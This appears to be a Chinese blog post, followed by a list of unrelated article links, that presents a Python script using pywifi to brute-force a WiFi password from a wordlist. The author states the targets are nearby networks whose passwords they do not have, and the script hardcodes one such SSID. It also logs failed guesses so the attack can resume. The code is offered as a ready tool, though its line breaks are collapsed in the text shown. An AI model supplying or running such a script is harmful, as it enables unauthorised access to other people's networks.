当前位置: 首页 > news >正文

python使用字典暴力解析wifi密码

前言

最近无wifi可用,搜到了很多高质量但是没有密码的WiFi,我在想应该可以用python调用常见的wifi字典包来暴力破解一下这些WiFi,也许可以成功

原理

使用pip install pywifi命令安装pywifi
使用它调用本机网卡,设置wifi加密方式,对字典包扫描密码逐个尝试
扫描失败的密码会被放入error.txt文件,当意外中断wifi扫描时可以立刻从上次扫描失败的点重新开始尝试

尝试了一下也就用常见的wifi密码字典包,尝试下,大概有几十万条,如果让0-9,a-z随机组合下那是不可能的,因为组合的种类有百亿条,千万年都跑不完

源码

import pywifi
from pywifi import const
import time
errorList=[]
# WiFi连接函数
def connect_wifi(ssid, password):wifi = pywifi.PyWiFi()  # 创建一个WiFi对象iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口iface.disconnect()  # 断开当前WiFi连接time.sleep(1)  # 等待1秒profile = pywifi.Profile()  # 创建WiFi配置文件profile.ssid = ssid  # 设置WiFi名称(SSID)profile.auth = const.AUTH_ALG_OPEN  # 设置WiFi加密算法(这里使用开放式认证)profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置WiFi身份验证算法(这里使用WPA2-PSK)profile.cipher = const.CIPHER_TYPE_CCMP  # 设置WiFi加密方式(这里使用CCMP加密)profile.key = password  # 设置WiFi密码# 删除所有WiFi配置文件iface.remove_all_network_profiles()# 添加新的WiFi配置文件tmp_profile = iface.add_network_profile(profile)iface.connect(tmp_profile)  # 连接WiFitime.sleep(3)  # 等待3秒,等待连接成功if iface.status() == const.IFACE_CONNECTED:  # 判断是否连接成功print(f"成功连接到WiFi:{ssid},密码为:{password}")return Trueelse:print(f"无法连接到WiFi:{ssid},密码为:{password}")# 将字典保存到文件with open('error.txt', 'a') as f:f.write(password + '\n')return False# 读取字典文件
with open('dictionary.txt', 'r') as f:dictionary = f.read().splitlines()
with open('error.txt', 'r') as f:errorDictionary = f.read().splitlines()
ssid = '4F'  # 替换为目标WiFi的SSID
realDict=[]
for i in dictionary:if i not in errorDictionary:realDict.append(i)
# 尝试字典中的每个密码
for password in realDict:if connect_wifi(ssid, password):break  # 如果成功连接,停止尝试密码
http://www.lryc.cn/news/151772.html

相关文章:

  • java八股文面试[多线程]——synchronized锁升级详细流程
  • ui网页设计实训心得
  • 论文阅读_扩散模型_DDPM
  • 菜鸟教程《Python 3 教程》笔记(15):数据结构
  • CH05_介绍重构名录
  • 1、Nginx 简介
  • C++之——宏
  • 代码随想录打卡—day56—【编辑距离】— 9.2 编辑距离系列
  • uni-app app端.m3u8类型流的播放
  • 使用proxy_pool来为爬虫程序自动更换代理IP | 开源IP代理
  • 【易售小程序项目】修改“我的”界面前端实现;查看、重新编辑、下架自己发布的商品【后端基于若依管理系统开发】
  • Centos7 + Apache Ranger 2.4.0 部署
  • 硬件SPI口扩展
  • 【jsthree.js】全景vr看房进阶版
  • 实战:基于卷积的MNIST手写体分类
  • Ubuntu开启生成Core Dump的方法
  • git视频教程Jenkins持续集成视频教程Git Gitlab Sonar教程
  • 机器学习:Xgboost
  • 《Kubernetes部署篇:Ubuntu20.04基于二进制安装安装cri-containerd-cni》
  • [CISCN 2019初赛]Love Math
  • 运行命令出现错误 /bin/bash^M: bad interpreter: No such file or directory
  • 码农重装系统后需要安装的软件
  • Kotlin return 和 loop jump
  • 计算一组数据中的低中位数即如果一组数据中有两个中位数则较小的那个为低中位数statistics.median_low()
  • ChatGPT是否能够协助人们提高公共服务和社区建设能力?
  • 机器人中的数值优化(七)——修正阻尼牛顿法
  • 程序员自由创业周记#3:No1.作品
  • 固定资产制度怎么完善管理?
  • 神经网络--感知机
  • Java“牵手”1688图片识别商品接口数据,图片地址识别商品接口,图片识别相似商品接口,1688API申请指南